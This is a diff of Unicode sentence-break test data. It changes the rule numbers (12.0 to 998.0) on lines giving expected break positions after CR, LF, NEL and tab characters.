+÷ 000D ÷ 0308 × 0041 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
÷ 000D ÷ 01BB ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 000D ÷ 0308 × 01BB ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 000D ÷ 0308 × 01BB ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
÷ 000D ÷ 0030 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 000D ÷ 0308 × 0030 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 000D ÷ 0308 × 0030 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 000D ÷ 002E ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 000D ÷ 0308 × 002E ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 000D ÷ 0308 × 002E ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] FULL STOP (ATerm) ÷ [0.3]
÷ 000D ÷ 0021 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 000D ÷ 0308 × 0021 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 000D ÷ 0308 × 0021 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
÷ 000D ÷ 0022 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 000D ÷ 0308 × 0022 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 000D ÷ 0308 × 0022 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
÷ 000D ÷ 002C ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMMA (SContinue) ÷ [0.3]
-÷ 000D ÷ 0308 × 002C ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] COMMA (SContinue) ÷ [0.3]
+÷ 000D ÷ 0308 × 002C ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] COMMA (SContinue) ÷ [0.3]
÷ 000D ÷ 00AD ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 000D ÷ 0308 × 00AD ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 000D ÷ 0300 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 000D ÷ 0308 × 0300 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 000A ÷ 0001 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 000A ÷ 0308 × 0001 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 000A ÷ 0308 × 0001 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
÷ 000A ÷ 000D ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 000A ÷ 0308 × 000D ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 000A ÷ 0308 × 000D ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
÷ 000A ÷ 000A ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 000A ÷ 0308 × 000A ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 000A ÷ 0308 × 000A ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
÷ 000A ÷ 0085 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 000A ÷ 0308 × 0085 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 000A ÷ 0308 × 0085 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
÷ 000A ÷ 0009 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 000A ÷ 0308 × 0009 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 000A ÷ 0308 × 0009 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
÷ 000A ÷ 0061 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 000A ÷ 0308 × 0061 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 000A ÷ 0308 × 0061 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
÷ 000A ÷ 0041 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 000A ÷ 0308 × 0041 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 000A ÷ 0308 × 0041 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
÷ 000A ÷ 01BB ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 000A ÷ 0308 × 01BB ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 000A ÷ 0308 × 01BB ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
÷ 000A ÷ 0030 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 000A ÷ 0308 × 0030 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 000A ÷ 0308 × 0030 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 000A ÷ 002E ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 000A ÷ 0308 × 002E ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 000A ÷ 0308 × 002E ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] FULL STOP (ATerm) ÷ [0.3]
÷ 000A ÷ 0021 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 000A ÷ 0308 × 0021 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 000A ÷ 0308 × 0021 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
÷ 000A ÷ 0022 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 000A ÷ 0308 × 0022 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 000A ÷ 0308 × 0022 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
÷ 000A ÷ 002C ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMMA (SContinue) ÷ [0.3]
-÷ 000A ÷ 0308 × 002C ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] COMMA (SContinue) ÷ [0.3]
+÷ 000A ÷ 0308 × 002C ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] COMMA (SContinue) ÷ [0.3]
÷ 000A ÷ 00AD ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 000A ÷ 0308 × 00AD ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 000A ÷ 0300 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 000A ÷ 0308 × 0300 ÷ # ÷ [0.2] <LINE FEED (LF)> (LF) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0085 ÷ 0001 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 0085 ÷ 0308 × 0001 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 0085 ÷ 0308 × 0001 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
÷ 0085 ÷ 000D ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 0085 ÷ 0308 × 000D ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 0085 ÷ 0308 × 000D ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
÷ 0085 ÷ 000A ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 0085 ÷ 0308 × 000A ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 0085 ÷ 0308 × 000A ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
÷ 0085 ÷ 0085 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 0085 ÷ 0308 × 0085 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 0085 ÷ 0308 × 0085 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
÷ 0085 ÷ 0009 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 0085 ÷ 0308 × 0009 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 0085 ÷ 0308 × 0009 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
÷ 0085 ÷ 0061 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 0085 ÷ 0308 × 0061 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 0085 ÷ 0308 × 0061 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
÷ 0085 ÷ 0041 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 0085 ÷ 0308 × 0041 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 0085 ÷ 0308 × 0041 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
÷ 0085 ÷ 01BB ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 0085 ÷ 0308 × 01BB ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 0085 ÷ 0308 × 01BB ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
÷ 0085 ÷ 0030 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 0085 ÷ 0308 × 0030 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 0085 ÷ 0308 × 0030 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 0085 ÷ 002E ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 0085 ÷ 0308 × 002E ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 0085 ÷ 0308 × 002E ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] FULL STOP (ATerm) ÷ [0.3]
÷ 0085 ÷ 0021 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 0085 ÷ 0308 × 0021 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 0085 ÷ 0308 × 0021 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
÷ 0085 ÷ 0022 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 0085 ÷ 0308 × 0022 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 0085 ÷ 0308 × 0022 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
÷ 0085 ÷ 002C ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMMA (SContinue) ÷ [0.3]
-÷ 0085 ÷ 0308 × 002C ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] COMMA (SContinue) ÷ [0.3]
+÷ 0085 ÷ 0308 × 002C ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] COMMA (SContinue) ÷ [0.3]
÷ 0085 ÷ 00AD ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0085 ÷ 0308 × 00AD ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0085 ÷ 0300 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0085 ÷ 0308 × 0300 ÷ # ÷ [0.2] <NEXT LINE (NEL)> (Sep) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
-÷ 0009 × 0001 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 0009 × 0308 × 0001 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 0009 × 000D ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 0009 × 0308 × 000D ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 0009 × 000A ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 0009 × 0308 × 000A ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 0009 × 0085 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 0009 × 0308 × 0085 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 0009 × 0009 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 0009 × 0308 × 0009 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 0009 × 0061 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 0009 × 0308 × 0061 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 0009 × 0041 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 0009 × 0308 × 0041 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 0009 × 01BB ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 0009 × 0308 × 01BB ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 0009 × 0030 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 0009 × 0308 × 0030 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 0009 × 002E ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 0009 × 0308 × 002E ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 0009 × 0021 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 0009 × 0308 × 0021 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 0009 × 0022 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 0009 × 0308 × 0022 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 0009 × 002C ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [12.0] COMMA (SContinue) ÷ [0.3]
-÷ 0009 × 0308 × 002C ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] COMMA (SContinue) ÷ [0.3]
+÷ 0009 × 0001 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 0009 × 0308 × 0001 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 0009 × 000D ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 0009 × 0308 × 000D ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 0009 × 000A ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 0009 × 0308 × 000A ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 0009 × 0085 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 0009 × 0308 × 0085 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 0009 × 0009 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 0009 × 0308 × 0009 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 0009 × 0061 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 0009 × 0308 × 0061 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 0009 × 0041 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 0009 × 0308 × 0041 ÷ # ÷ [0.2] <CHARACTER TABULATION> (Sp) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
